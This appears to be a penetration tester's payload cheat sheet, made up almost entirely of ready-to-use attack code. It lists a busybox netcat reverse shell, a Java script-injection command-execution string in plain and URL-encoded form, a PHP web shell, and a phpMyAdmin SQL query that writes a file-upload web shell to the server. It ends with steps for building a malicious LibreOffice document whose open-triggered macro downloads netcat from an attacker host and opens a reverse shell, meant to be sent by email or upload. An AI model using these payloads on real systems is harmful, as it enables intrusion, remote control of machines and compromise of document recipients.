https://meyerweb.com/eric/tools/dencoder/

Busybox

busybox nc $IP [port] -e /bin/bash

Java

// URL Decoded
${script:javascript:java.lang.Runtime.getRuntime().exec('ping 192.168.45.229')}

// URL Encoded
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27ping%20192.168.45.229%27)%7D

PHP

<?php system($_GET["cmd"]); ?>

PhpMyAdmin to File Upload

SELECT 
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/wamp/www/uploader.php';

ODT + Windows Server

<aside>

Steps

1. LibreOffice → New Writer Document → Save as .odt file
2. Tools → Macros → Organize Macros → Basic
3. Select our New Write Document → New → Name New Module
4. Payload

**Sub Main
	shell("cmd /c certutil.exe -urlcache -f http:/$IP/nc.exe C:\Users\Public\nc.exe")
	shell("C:\Users\Public\nc.exe $IP 443 -e C:\Windows\System32\cmd.exe")
End Sub**

1. Back to the Writer Document → Tools → Customize → Select Open Document → Macro
2. Select the created Macro → Click OK
3. Save the file and either upload the .odt file via Web or send it via email. </aside>